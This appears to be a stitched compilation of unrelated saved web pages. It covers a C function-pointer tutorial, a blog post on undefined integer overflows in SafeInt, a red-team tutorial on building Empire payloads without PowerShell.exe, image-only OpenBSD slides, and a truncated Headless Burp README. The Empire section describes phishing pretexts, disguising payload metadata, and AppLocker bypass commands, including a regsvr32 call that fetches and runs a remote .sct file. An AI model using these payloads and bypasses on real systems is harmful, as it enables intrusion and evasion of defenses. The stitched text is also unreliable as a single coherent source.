**Author:**| __  
**Tags:**| __  
  

### he Why

Say we’re writing a library for linked list manipulation, as part of another
application. Being the kind of programmers who see beauty in reusable code, we
want the library to be completely _generic_ and _independent_ from the other
modules in our application, so we can re-use it in other projects. To that
end, first we define some basic structures for the list and its nodes:

[code]

    struct list_entry_t {
        void * data;
        struct list_entry_t * next;
    };
    
    struct list_t {
        struct list_entry_t * head;
        unsigned int length;
    };
    
[/code]

Now let’s assume that, in our application, the `data` field in our linked list
entries is meant to store a pointer to a structure of the following type:

[code]

    struct mem_block {
        void * addr;
        unsigned int size;
    };
    
[/code]

Now if we want to search for a specific `struct mem_block` in our list, given
the value of it’s `addr` field, how would we do it? \(This is _not_ a
contrived example. I encountered this exact same use-case when I had to write
a memory manager for my last Operating Systems assignment\).

We ideally shouldn’t make a public function in our _generic_ linked list
library \(that’s meant to store _any_ type of data\), hard-wired just for this
_specific_ case \(searching by the `addr` field of the `struct mem_block`\),
since that would make our library, well, not generic. Argh, the reusability-
seeker within itches for a better solution\! If you’ve so much as read the
title of this post, you already know the answer: function pointers\!

### The How

Now let’s see how function pointers can help us here. First, we declare a
public function in our linked list library with the following prototype:

[code]

    /* get the data of the first element of list @l which passes the
     * comparison test implemented by the function @compar.
     *
     * @param l         the linked list to search
     * @param compar    the comparison function. The two parameters passed to
     *                  it are the element data, and @key, respectively. Must
     *                  return 1 for a success, else 0.
     * @param key       the search key passed as the second parameter to
     *                  @compar */
    
    void * list_get_by_condition(struct list_t * l,
                                 int (* compar) (void *, void *),
                                 void * key);
    
[/code]

And the function definition:

[code]

    void * list_get_by_condition(struct list_t * l, int (* compar) (void *, void *), void * key) {
        struct list_entry_t * entry;
    
        for (entry = l->head; entry; entry = entry->next) {
            if (compar(entry->data, key)) {
                return entry->data;
            }
        }
    
        return NULL;
    }
    
[/code]

And our comparison function, in the application program:

[code]

    /* comparison function to compare a block and an address; intended to be passed
     * to list_get_by_condition() */
    
    int compar_addr(void * block, void * addr) {
        return (((struct mem_block *) block)->addr == addr);
    }
    
[/code]

Now let’s see how this helps us. We call `list_get_by_condition()` with our
linked list, it traverses the list, and for each list entry, it passes the
`data` \(the `struct mem_block`\) and the search key `key` to our comparison
function `compar_addr()`. The comparison function in turn checks if its
parameters satisfy our search criterion, and returns 1 or 0 to
`list_get_by_condition()`, as appropriate. As soon as a match is found, the
matching `struct mem_block` is returned, otherwise `NULL` is returned.

Notice how we separate the common parts from the use-case-specific parts using
the function pointer `compar`. We put the common parts into our linked list
library, and the small application-specific parts into our application. Now we
can have several comparison functions testing various conditions, for
different search criteria, and the sanctity of our linked list library remains
preserved :\)

  *   * Disqus
  * 

# Embedded in Academia : Overflows in SafeInt

**Created:**| _9/23/2011 11:45:26 AM_  
---|---  
**Updated:**| _9/23/2011 11:45:26 AM_  
**Author:**| __  
**Tags:**| _vulnerability integer overflows_  
  

## Overflows in SafeInt

I have a minor obsession with undefined behaviors in C and C++. Lately I was
tracking down some integer overflows in Firefox — of which there are quite a
few — and some of them seemed to originate in the well-known SafeInt library
that it uses to avoid performing unsafe integer operations. Next, I poked
around in the latest version of SafeInt and found that while executing its
\(quite good\) test suite there are 43 different places in the code where an
undefined integer operation is performed. A substantial number of them stem
from code like this:

>
[code]

>     **bool negative = false;
>     if (a <0) {
>       a = -a;
>       negative = true;
>     }
>  
>     ... assume a is positive ...
>  
>     if (negative) {
>       return -result;
>     } else {
>       return result;
>     }
>     **
[/code]

To see a real example of this, take a look at the code starting at line 2100
of SafeInt3.hpp. The problem here, of course, is that for the most common
choices of implementation-defined behaviors in C++, negating INT\_MIN is an
undefined behavior.

Now we have to ask a couple of questions. First, does this code operate
properly if the compiler happens to implement -INT\_MIN using 2’s complement
arithmetic? I’m not sure about all of the overflows in SafeInt, but I believe
this function actually does work in that case. The second question is, do
compilers \(despite not being required to do so\) give 2’s complement
semantics to -INT\_MIN? Every compiler I tried has this behavior when
optimizations are disabled. On the other hand, not all compilers have this
behavior when optimizations are turned on. A simple test you can do is to
compile this function with maximum optimization:

>
[code]

>     **void bar (void);
>  
>     void foo (int x) {
>      if (x <0) x = -x;
>      if (x<0) bar();
>     }**
[/code]

If the resulting assembly code contains no call to bar\(\), then the compiler
has \(correctly\) observed that every path through this function either does
not call bar\(\) or else relies on undefined behavior. Once the compiler sees
this, it is free to eliminate the call to bar\(\) as dead code. Most of the
compilers I tried — even ones that are known to exploit other kinds of integer
undefined behavior — don’t perform this optimization. However, here’s what I
get from a recent GCC snapshot:

>
[code]

>     **[regehr@gamow ~]$ current-gcc -c -O2 overflow2.c       
>     [regehr@gamow ~]$ objdump -d overflow2.o
>     0000000000000000 <foo>:
>      0:    f3 c3                    repz retq **
[/code]

Now, does this same optimization ever fire when compiling SafeInt code,
causing it to return a wrong result? Here’s a bit of test code:

>
[code]

>     **#include <cstdio>
>     #include <climits>
>     #include "SafeInt3.hpp"
>  
>     void test (__int32 a, __int64 b) {
>       __int32 ret;
>       bool res = SafeMultiply (a, b, ret);
>       if (res) {
>         printf ("%d * %lld = %d\n", a, b, ret);
>       } else {
>         printf ("%d * %lld = INVALID\n", a, b);
>       }
>     }
>  
>     int main (void) {
>       test (INT_MIN, -2);
>       test (INT_MIN, -1);
>       test (INT_MIN, 0);
>       test (INT_MIN, 1);
>       test (INT_MIN, 2); 
>       return 0;
>     }**
[/code]

Next we compile it with the recent g++ at a couple of different optimization
levels and run the resulting executables:

>
[code]

>     **[regehr@gamow safeint]$ current-g++ -O1 -Wall safeint_test.cpp
>     [regehr@gamow safeint]$ ./a.out
>     -2147483648 * -2 = INVALID
>     -2147483648 * -1 = INVALID
>     -2147483648 * 0 = 0
>     -2147483648 * 1 = -2147483648
>     -2147483648 * 2 = INVALID
>     [regehr@gamow safeint]$ current-g++ -O2 -Wall safeint_test.cpp
>     [regehr@gamow safeint]$ ./a.out
>     -2147483648 * -2 = INVALID
>     -2147483648 * -1 = INVALID
>     -2147483648 * 0 = 0
>     -2147483648 * 1 = INVALID
>     -2147483648 * 2 = INVALID**
[/code]

The first set of results is correct. The second set is wrong for the INT\_MIN
\* 1 case, which should not overflow. Basically, at -O2 and higher gcc and g++
turn on optimization passes that try to generate better code by taking integer
undefined behaviors into account. Let’s be clear: this is not a compiler bug;
g++ is simply exploiting a bit of leeway given to it by the C++ standards.

What can we take away from this example?

  * It’s a little ironic that the SafeInt library \(a widely used piece of software, and not a new one\) is itself performing operations with undefined behavior. This is not the only safe math library I’ve seen that does this — it is simply very hard to avoid running afoul of C/C++’s integer rules, particularly without good tool support.
  * It’s impressive that G++ was able to exploit this undefined behavior. GCC is getting to be a very strongly optimizing compiler and also SafeInt was carefully designed to not get in the way of compiler optimizations.

If you have security-critical code that uses SafeInt to manipulate untrusted
data, should you be worried? Hard to say. I was able to get SafeInt to
malfunction, but only in a conservative direction \(rejecting a valid
operation as invalid, instead of the reverse\) and only using a recent G++
snapshot \(note that I didn’t try a lot of compilers — there could easily be
others that do the same thing\). Also, there are 42 more integer overflow
sites that I didn’t look at in detail. One way to be safe would be to use
GCC’s -fwrapv option, which forces 2’s complement semantics for signed integer
overflows. Clang also supports this option, but most other compilers don’t
have an equivalent one. Also unfortunately, SafeInt is structured as a header
file instead of a true library, so it’s not like just this one file can be
recompiled separately.

This issue has been reported here.

**Update:** I checked CERT’s IntegerLib \(download here\) and it is seriously
broken. Its own test suite changes behavior across -O0 … -O3 for each of
Clang, GCC, and Intel CC. The undefined behaviors are:

> **UNDEFINED at <add.c, \(24:12\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(24:28\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(29:12\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(43:14\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(43:30\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(47:14\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(61:12\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(61:28\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <add.c, \(65:15\)> : Op: +, Reason : Signed Addition Overflow  
>  UNDEFINED at <mult.c, \(52:13\)> : Op: \*, Reason : Signed Multiplication
> Overflow  
>  UNDEFINED at <mult.c, \(69:47\)> : Op: \*, Reason : Signed Multiplication
> Overflow  
>  UNDEFINED at <sub.c, \(24:23\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <sub.c, \(28:12\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <sub.c, \(42:23\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <sub.c, \(46:12\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <sub.c, \(60:23\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <sub.c, \(64:12\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <unary.c, \(28:9\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <unary.c, \(37:9\)> : Op: -, Reason : Signed Subtraction
> Overflow  
>  UNDEFINED at <unary.c, \(46:9\)> : Op: -, Reason : Signed Subtraction
> Overflow **
I cannot imagine this library is suitable for any purpose if you are using an
optimizing compiler.

Posted by regehr on Thursday, September 22, 2011, at 9:17 am. Filed under
Compilers, Software Correctness. Follow any responses to this post with its
comments RSS feed. You can post a comment or trackback from your blog.

### \{ 2 \} Comments

  1. Jason Orendorff | September 22, 2011 at 12:44 pm | Permalink
I appreciate your work on this, but I think the inescapable conclusion is that
allowing simple arithmetic on signed integers to trigger undefined behavior is
clearly unworkable.

In practice, it means that nobody can write safe code. Surely nobody is much
better at writing careful integer code than the SafeInt authors. Even with
stellar tool support, we will not find all the bugs—or even fix all the bugs
that could be found.

I’ve read about the neato ways compilers can take advantage of this rule, but
I have yet to see any example where the optimization actually seemed
desirable. It usually amounts to taking code that is apparently intended to do
one thing, and using the accidental undefined behavior as an excuse to rewrite
the code to do something completely different and unexpected \(but fast\). The
more you break the rule, the faster your code can do the wrong thing. Isn’t
that something.

Ideally, in my view, you could direct your obvious talents to more deserving
problems. But if the outcome here is that the C++ committee agrees enough is
enough and specifies two’s complement, it will have been worth it\!

  2. regehr | September 22, 2011 at 12:51 pm | Permalink
Hi Jason, the examples people have told me about where undefined signed
overflow is useful involve loop-intensive numerical codes where, for example,
it is highly advantageous to be able to assume that an increasing induction
variable never goes negative. Apparently 30%-50% speedups on certain loops are
not unheard of.

But of course you are right: this part of the C standard gives zero benefit to
99.9% of C/C++ developers and causes significant pain for some fraction of
them. I don’t see the standards committees changing this — the languages will
die first.

###

  *[Thursday, September 22, 2011, at 9:17 am]: 2011-09-22T09:17:00-0600
  *[September 22, 2011 at 12:44 pm]: 2011-09-22T09:17:00-0600
  *[September 22, 2011 at 12:51 pm]: 2011-09-22T09:17:00-0600

# Empire without PowerShell.exe

**Created:**| _9/4/2017 9:50:19 AM_  
---|---  
**Updated:**| _9/4/2017 9:50:19 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

## Problem:

The client has blocked Powershell.exe using AppLocker and I don’t have the
dough for Cobalt Strike. I want to get an Empire payload on a workstation via
a phishing campaign and I need payloads ready once I have a foothold. Nearly
all of the launcher methods for Empire rely on the ability to use
PowerShell.exe. Other methods like msbuild.exe requires dropping a file to
disk, and I really liked the regsvr32 method of loading my .sct over the
internet \(it too drops a file to disk\) and using a ducky. I also really
appreciate the simplicity of VBA’s in documents or HTA’s. Problem is, Empire
is a Powershell RAT so one way or another PowerShell has to run.

One method that was suggested is calling an Empire.dll or Empire.exe over an
internet accessible SMB share. I have yet to try that method but have been
assured it works. My dislike for the SMB method is the outbound SMB
connection, which will look pretty unusual to any defenders watching traffic.
I’ll have to give it a go at some point, I’m sure.

### The three payloads I’m going cover:

  1. Build an empire.exe
  2. Build an empire.dll
  3. Build an empire.sct that doesn’t call powershell.exe

### The tools and resources we’re going to use are:

  1. SharpPick codebase by @sixdub
  2. DotNetToJS by James Foreshaw \(@tiraniddo\)
  3. AllTheThings by Casey Smith \(@subtee\)
  4. Visual Studio. Not strictly necessary, but it’s what I know and it’s free albiet a huge download. Presumably you could use csc.exe to build your project, but I haven’t tested it. I chose Visual Studio 2010 for PowerPick, though 2012 would probably work fine. That’s a lot of crap to download, I know. What’s nice about 2010/2012 is it comes with the older .NET libraries which are getting harder to find.

I wouldn’t be able to do this without the above authors’ work, and I’m very
grateful. What follows is simply putting together a few different pieces of
great work to achieve a specific outcome that I was unable to find prior work
for.

\*Note: In my research to do this, I came across two projects that are doing
almost exactly the same thing, both of which utilize DotNetToJScript and
neither of which worked for me.

  1. StarFighters \(@Cn33liz\). First, I’m pretty leery of running encoded binaries from the internet. This one contains an encoded powershell.exe, which receives and executes your launcher code. I tried it, and was able to get an Empire check-in, but not script execution.
  2. CACTUSTORCH \(@vysecurity\). I tried this as well, but it really wants to inject shellcode into a launched binary of your choosing, and I couldn’t figure out how to make my launcher into shellcode using SharpPick. It’s probably doable, I just don’t know how. The examples @vysecurity provide use a Cobalt Strike or a Meterpreter shellcode output.

## Build an Empire.exe

I’ve commonly seen Cobalt Strike used with “updates.exe”, a stageless beacon.
For Empire, you can do something similar with this method. Add this to an
email pretext suggesting new anti-virus definitions need to be installed. Or
run it via psexec or wmi, or as an embedded OLE object in Outlook \(h/t
@tyler\_robinson\).

This is probably the simplest method of getting you an agent without calling
Powershell.exe.

To start, go get your copy of PowerPick via git, and open up the project in
Visual Studio.

First, you’ll want to obfuscate some of the project properties. Change the
name of the program and assembly information. Get there by selecting from the
menu “project -> SharpPick Properties”. Make sure to change the “Output Type”
to “Windows Application” so it’ll run in the background after you double click
or execute from the CLI.<img src='img/legitsoftwareprops.png' width='813'
height='509' alt='LegitSoftwareProps' />

Click that “Assembly Information” button as well, and change those properties
too.

<img src='img/legitsoftwareinfo.png' width='455' height='301'
alt='LegitSoftwareInfo' />

Now you’ll want to change the code in Program.cs to this \(gist\):

<img src='img/empireexe-e1501028408406.png' width='724' height='714'
alt='EmpireEXE' />

Where the string “stager” contains only the base64 encoded Empire launcher
information. This will get decoded and passed to RunPS\(\) which sends the
PowerShell command to System.Management.Automation, where the real PowerShell
magic actually happens. This is tapping directly into the core of Windows.

Now go to your menu and select “Build -> Build Solution” or hit “F6”. Your
shiny new binary should be in
“PowerTools\Empire\_SCT\PowerPick\bin\x86\Debug”.

\*\* You may get an error about ReflectivePick not building, that’s fine. You
can suppress that error by going to “Build -> Configuration Manager” and
deselecting “ReflectivePick” from the “Project Contexts”. We don’t need it.

Test your binary by either double clicking the executable, or simply running
it on the CLI. It should run in the background after you launch or execute it.

## Build an Empire.dll

Maybe you need a DLL so you can use one of those sweet AppLocker bypasses
Casey is always finding. A great example is rundll32.exe. In order to do this,
we’re going to change our project a little bit, and add some entry points in
our code. The code below comes directly from @subtee’s “AllTheThings”.

Just like the EXE, open up the project and change those indicators. The other
important thing you need to change in the project properties is the “Output
Type”, which needs to be “Class Library”. You should probably set your
“Startup Object” as well, to whatever it defaults to in the drop down \(based
on you namespace and class names\).

<img src='img/legitlibraryprops.png' width='747' height='507'
alt='LegitLibraryProps' />

Next, install the nuget package manager for Visual Studio. Once that’s
installed you’ll need to get the dependency “UnmanagedExports” by running:

[code]

    PM> install-package UnmanagedExports
[/code]

<img src='img/nuget_install_dll.png' width='414' height='154'
alt='nuget_install_DLL' />

Next up, open that “Program.cs” and change your code to look like this in
addition to a few “using” statements not shown but included in the gist:

<img src='img/empiredll.png' width='754' height='662' alt='EmpireDLL' />

Again, go to “Build -> Build Solution” or hit “F6” and you should have a
LegitLibrary.dll or whatever in your build directory \(same as above\).

Test your new DLL by running:

[code]

    rundll32.exe LegitLibrary.dll,EntryPoint
[/code]

That should return a new agent to your Empire C2. If you look in Process
Explorer, you’ll see rundll32 as a new running process.

### Build an Empire.sct

This is probably the most complicated as it involves a number of steps. The
end result is essentially this: stuff PowerShell into a .NET app, convert that
.NET app into a base64 encoded binary in a javascript file, which is then
stuffed into a .SCT. You can call that sct with regsvr32 which executes the
JavaScript within the .SCT that lives on your web/file server.

What we’re aiming for here is the Empire.exe payload, but converted into
base64. The project options should be the same as you made for Empire.exe, in
other words a “Windows Application”. The code is a bit different though as the
JavaScript needs some public methods to reach into and execute our code
\(gist\).

<img src='img/empireforjs.png' width='691' height='617' alt='EmpireForJS' />

Build that and go find your binary, it should be an exe.

Next up, go download DotNetToJScript and open that project in Visual Studio,
change it’s .NET target to “.NET version 3.5” \(or 2.0\) in project options
and compile \(build\) it. Once it’s built, find the DotNetToJScript.exe and
it’s companion NDesk.Options.dll and place those in the same place as your
LegitScript.exe binary.

run the following \(-c is the entry point, change to your chosen
namespace.class\):

[code]

    .\DotNetToJScript.exe -c=LegitScript.Program -o=legitscript.js legitscript.exe
[/code]

That should output a legitscript.js. DotNetToJScript outputs in a couple of
other languages including VBA and VBScript for embedding in Office documents
or what ever else you might need.

You can test it before proceeding to the next steps by running:

[code]

    wscript.exe legitscript.js
[/code]

That should launch a new agent on your workstation in the background. It’ll be
running as “wscript” in your process monitor.

If you’ve confirmed that as working, it’s time to wrap it into a .sct so we
can call it with regsvr32.exe.

Place the entire contents of legitscript.js into the CDATA tag \(picture
below\). You can get the XML format in Empire by using:

[code]

    (Empire: usestager windows/launcher_sct
[/code]

The settings don’t matter, but you can set them to your listener and make sure
“OutFile” is set to null or “” no value as this will print the content to
screen. If you’re getting the contents from Empire, strip everything out of
the CDATA tag, and replace it with your legitscript.js.

<img src='img/empire_sct.png' width='396' height='291' alt='empire_sct' />

Save that as 2legit.sct and test with:

[code]

    regsvr32 /s /n /u /i:2legit.sct scrobj.dll
[/code]

Which, again, should return a new agent. You can save that .sct to your web or
file server and call it remotely replacing the “/i:” with
“/i:https://example.com/2legit.sct&\#8221;. This is an AppLocker bypass as
regsvr32.exe is a Microsoft signed binary.

## Conclusion

PowerShell is awesome, and attackers have been using it for years now. The
best advice we’re giving to clients is to keep their environments locked down
with PowerShell Constrained Mode, disable PowerShell v2, and upgrade
PowerShell across the enterprise to the latest which supports Script Block
Logging. It’s pretty difficult and almost unrealistic to keep PowerShell from
executing in your environment, so at least know when and how it’s being used.

Thanks to @subtee for engaging with me on some ideas, @vysecurity for
answering questions, and all the giants and project authors who have made this
even possible.

### Share this:

  * Twitter
  * Facebook468
  * Google
  * 

 Like

Be the first to like this.

  

# OpenBSD Exploit Mitigation techniques

**Created:**| _8/24/2014 8:20:52 PM_  
---|---  
**Updated:**| _8/24/2014 8:20:52 PM_  
**Author:**| __  
**Tags:**| _BSD mitigations_  
  

<img src='img/Temp2_5860.jpg' width='256' height='192' alt='Page 1' /> <img
src='img/Temp2_5862.jpg' width='256' height='192' alt='Page 2' /> <img
src='img/Temp2_5864.jpg' width='256' height='192' alt='Page 3' /> <img
src='img/Temp2_5883.jpg' width='256' height='192' alt='Page 4' /> <img
src='img/Temp2_5874.jpg' width='256' height='192' alt='Page 5' /> <img
src='img/Temp2_5880.jpg' width='256' height='192' alt='Page 6' /> <img
src='img/Temp2_5872.jpg' width='256' height='192' alt='Page 7' /> <img
src='img/Temp2_5887.jpg' width='256' height='192' alt='Page 8' /> <img
src='img/Temp2_5859.jpg' width='256' height='192' alt='Page 9' /> <img
src='img/Temp2_5858.jpg' width='256' height='192' alt='Page 10' /> <img
src='img/Temp2_5886.jpg' width='256' height='192' alt='Page 11' /> <img
src='img/Temp2_5873.jpg' width='256' height='192' alt='Page 12' /> <img
src='img/Temp2_5870.jpg' width='256' height='192' alt='Page 13' /> <img
src='img/Temp2_5890.jpg' width='256' height='192' alt='Page 14' /> <img
src='img/Temp2_5861.jpg' width='256' height='192' alt='Page 15' /> <img
src='img/Temp2_5866.jpg' width='256' height='192' alt='Page 16' /> <img
src='img/Temp2_5888.jpg' width='256' height='192' alt='Page 17' /> <img
src='img/Temp2_5882.jpg' width='256' height='192' alt='Page 18' /> <img
src='img/Temp2_5884.jpg' width='256' height='192' alt='Page 19' /> <img
src='img/Temp2_5867.jpg' width='256' height='192' alt='Page 20' /> <img
src='img/Temp2_5879.jpg' width='256' height='192' alt='Page 21' /> <img
src='img/Temp2_5868.jpg' width='256' height='192' alt='Page 22' /> <img
src='img/Temp2_5876.jpg' width='256' height='192' alt='Page 23' /> <img
src='img/Temp2_5869.jpg' width='256' height='192' alt='Page 24' /> <img
src='img/Temp2_5857.jpg' width='256' height='192' alt='Page 25' /> <img
src='img/Temp2_5878.jpg' width='256' height='192' alt='Page 26' /> <img
src='img/Temp2_5889.jpg' width='256' height='192' alt='Page 27' /> <img
src='img/Temp2_5863.jpg' width='256' height='192' alt='Page 28' /> <img
src='img/Temp2_5865.jpg' width='256' height='192' alt='Page 29' /> <img
src='img/Temp2_5885.jpg' width='256' height='192' alt='Page 30' /> <img
src='img/Temp2_5871.jpg' width='256' height='192' alt='Page 31' /> <img
src='img/Temp2_5881.jpg' width='256' height='192' alt='Page 32' /> <img
src='img/Temp2_5875.jpg' width='256' height='192' alt='Page 33' /> <img
src='img/Temp2_5877.jpg' width='256' height='192' alt='Page 34' /> <img
src='img/Temp2_5891.jpg' width='256' height='192' alt='Page 35' />

* * *
Generated by MagicPoint  

# NetsOSS/headless-burp

**Created:**| _9/23/2018 8:47:21 AM_  
---|---  
**Updated:**| _9/23/2018 8:47:21 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec_  
  

  

# Headless Burp

Provides a suite of extensions and a maven plugin to automate security tests
using Burp Suite.

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f424170702d5075626c69736865642d6f72616e67652e737667'
width='100' height='20' alt='BApp Store' /> <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f4e6574734f53532f686561646c6573732d627572702e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f636f6465636f762e696f2f67682f4e6574734f53532f686561646c6573732d627572702f6272616e63682f6d61737465722f67726170682f62616467652e737667'
width='96' height='20' alt='Code Coverage' /> <img
src='img/68747470733a2f2f636f6465636c696d6174652e636f6d2f6769746875622f4e6574734f53532f686561646c6573732d627572702e737667'
width='144' height='20' alt='Maintainability' />

Full documentation for the project is available at
https://netsoss.github.io/headless-burp/

Headless Burp \(scanner\) has now been published to the BApp Store

* * *
  * Headless Burp Scanner
    * Usage
      * Configuration
      * Command-line options
    * Scenarios
      * Scenario A: Scan URL\(s\) for security issues using Burp
      * Scenario B: Scan URL\(s\) for security issues using Burp but exclude scanning of certain paths
      * Scenario C: Scan URL\(s\) for security issues using Burp but suppress false positives from the scan report
      * Scenario D: Scan more than just GET requests. Use data derived from running functional tests as input to the scan
    * tl;dr;
  * Headless Burp Proxy
    * Features
    * Usage
      * Start Burp Proxy
      * Command-line Options
      * Stop Burp Proxy
  * Burp Maven Plugin
    * Full example

# Headless Burp Scanner

Provides an extension to Burp that allows you to run Burp Suite's Spider and
Scanner tools in headless mode via command-line.

However, it can do more\! It can produce a JUnit like report which in turn
could instruct the CI server \(maybe Jenkins\) to mark the build as "failed"
whenever any vulnerabilities are found. You can also mark some issues as false
positives and those will not be reported anymore on the next scan reports.

### Build

[code]

    ./mvnw
    
[/code]

The extension is packaged as a fat jar at target/headless-burp-scanner-master-
SNAPSHOT-jar-with-dependencies.jar

### Usage

Bu8ld the extension as shown above or install it from the BApp Store

#### Using a loclally built extension jar

On \*nix:

[code]

    java -Xmx1G -Djava.awt.headless=true \
    -classpath headless-burp-scanner-master-SNAPSHOT-jar-with-dependencies.jar:burpsuite_pro_v1.7.31.jar burp.StartBurp \
    --unpause-spider-and-scanner \
    --project-file=project.burp -c config.xml
[/code]

On Cygwin:

[code]

    java -Xmx1G -Djava.awt.headless=true \
    -classpath "headless-burp-scanner-master-SNAPSHOT-jar-with-dependencies.jar;burpsuite_pro_v1.7.31.jar" burp.StartBurp \
    --unpause-spider-and-scanner \
    --project-file=project.burp -c config.xml
[/code]

#### Using the extension from BApp Store

[code]

    java -Xmx1G -Djava.awt.headless=true \
    -classpath burpsuite_pro_v1.7.31.jar burp.StartBurp \
    --unpause-spider-and-scanner \
    --project-file=project.burp -c config.xml
[/code]

On Cygwin:

[code]

    java -Xmx1G -Djava.awt.headless=true \
    -classpath "burpsuite_pro_v1.7.31.jar" burp.StartBurp \
    --unpause-spider-and-scanner \
    --project-file=project.burp -c config.xml
[/code]

#### Configuration

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <config xmlns="http://nets.eu/burp/config">
        <reportType>HTML</reportType> <!-- JUNIT|HTML|XML -->
        <targetSitemap><![CDATA[http://localhost:5432]]></targetSitemap> <!-- atleast one of targetSitemap or scope must be specified -->
        <scope> <!-- atleast one of targetSitemap or scope must be specified -->
            <url><![CDATA[http://localhost:5432/]]></url> <!-- multiple allowed -->
            <exclusions> <!-- optional -->
                <exclusion><![CDATA[localhost:5432/#/logout]]></exclusion>
            </exclusions>
        </scope>
        <false-positives> <!-- optional -->
            <issue>
                <type>5244416</type>
                <path>.*</path>
            </issue>
            <issue>
                <type>5247488</type>
                <path>.*bower_components.*</path>
            </issue>
        </false-positives>
    </config>
[/code]

For an example configuration file, see config.xml and headless-burp-scanner-
config.xsd for the xsd

#### Command-line options

[code]

    --project-file=VAL          Open the specified project file; this will be created as a new project if the file does not exist (mandatory)
    -c (--config) <file>        Configuration file (mandatory)
    -p (--prompt)               Indicates whether to prompt the user to confirm the shutdown (useful for debugging)
    -v (--verbose)              Enable verbose output
    
    --diagnostics               Print diagnostic information
    --use-defaults              Start with default settings
    --collaborator-server       Run in Collaborator server mode
    --collaborator-config=VAL   Specify Collaborator server configuration file; defaults to collaborator.config
    --config-file=VAL           Load the specified project configuration file(s); this option may be repeated to load multiple files
    --user-config-file=VAL      Load the specified user configuration file(s); this option may be repeated to load multiple files
    --auto-repair               Automatically repair a corrupted project file specified by the --project-file option
    
[/code]

### Scenarios

The extension has been designed to be versatile and support several scenarios

#### Scenario A: Scan URL\(s\) for security issues using Burp

  1. Create a file - config.xml like below and add the URL\(s\) to be scanned to the scope.

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <config xmlns="http://nets.eu/burp/config">
        <reportType>HTML</reportType>
        <targetSitemap><![CDATA[http://localhost:5432]]></targetSitemap>
        <scope>
            <url><![CDATA[http://localhost:5432/auth]]></url>
            <url><![CDATA[http://localhost:5432/users]]></url>
            <url><![CDATA[http://localhost:5432/users/1]]></url>
            <url><![CDATA[http://localhost:5432/users?search=asd]]></url>
            <url><![CDATA[http://localhost:5432/bar/foo]]></url>
        </scope>
    </config>
[/code]

  2. Run as shown in the usage section

#### Scenario B: Scan URL\(s\) for security issues using Burp but exclude
scanning of certain paths

  1. Add an _exclusions_ block to the configuration file.

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <config xmlns="http://nets.eu/burp/config">
        <reportType>HTML</reportType>
        <targetSitemap><![CDATA[http://localhost:5432]]></targetSitemap>
        <scope>
            <url><![CDATA[http://localhost:5432/auth]]></url>
            <url><![CDATA[http://localhost:5432/users]]></url>
            <url><![CDATA[http://localhost:5432/users/1]]></url>
            <url><![CDATA[http://localhost:5432/users?search=asd]]></url>
            <url><![CDATA[http://localhost:5432/bar/foo]]></url>
            <exclusions>
                <exclusion><![CDATA[localhost:5432/#/logout]]></exclusion>
                <exclusion><![CDATA[localhost:5432/#/users/delete]]></exclusion>
                <exclusion><![CDATA[localhost:5432/#/creepy/crawly]]></exclusion>
            </exclusions>
        </scope>
    </config>
[/code]

  2. Run as shown in the usage section

#### Scenario C: Scan URL\(s\) for security issues using Burp but suppress
false positives from the scan report

  1. Add a _false-positives_ block with the issue type and path _\(these can be retrieved from a burp scan report\)_ to the configuration file. You can find more details about Issue Definitions here

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <config xmlns="http://nets.eu/burp/config">
        <reportType>HTML</reportType>
        <targetSitemap><![CDATA[http://localhost:5432]]></targetSitemap>
        <scope>
            <url><![CDATA[http://localhost:5432/auth]]></url>
            <url><![CDATA[http://localhost:5432/users]]></url>
            <url><![CDATA[http://localhost:5432/users/1]]></url>
            <url><![CDATA[http://localhost:5432/users?search=asd]]></url>
            <url><![CDATA[http://localhost:5432/bar/foo]]></url>
            <exclusions>
                <exclusion><![CDATA[localhost:5432/#/logout]]></exclusion>
                <exclusion><![CDATA[localhost:5432/#/users/delete]]></exclusion>
                <exclusion><![CDATA[localhost:5432/#/creepy/crawly]]></exclusion>
            </exclusions>
            <false-positives>
                <issue>
                    <type>5244416</type>
                    <path>.*</path>
                </issue>
                <issue>
                    <type>5247488</type>
                    <path>.*bower_components.*</path>
                </issue>
            </false-positives>
        </scope>
    </config>
[/code]

  2. Run as shown in the usage section

#### Scenario D: Scan more than just GET requests. Use data derived from
running functional tests as input to the scan

Sometimes, just spidering a target scope and and performing on a scope of URLs
doesnt give much value. For e.g. when scanning a web application where routing
is handled using JavaScript. Burp scans can discover more if it can scan more
"real-world" requests and responses. This way, it can attack the target URLs
more effectively and potentially discover more than a _shot in the dark_
spider + scan approach.

To handle such cases, it would be best to let the burp proxy intercept some
real traffic to the target and build up a sitemap for itself. The Headless
Burp Proxy extension provides an simple way to achieve this.

  1. Follow instructions at Headless Burp Proxy and start up burp proxy and remember to set the `--project-file` option. This is where the "seed" data for scanning is going to be stored.
  2. Configure your functional/integration tests to go through the burp proxy \(defaults to `4646` if you use the extension\) by setting HTTP\_PROXY or similar.
  3. Run the functional/integration tests against the target.
  4. Create a config.xml with the targetSitemap \(typically, the base URL of the application\), scope, exclusions, false-positives etc.

[code]

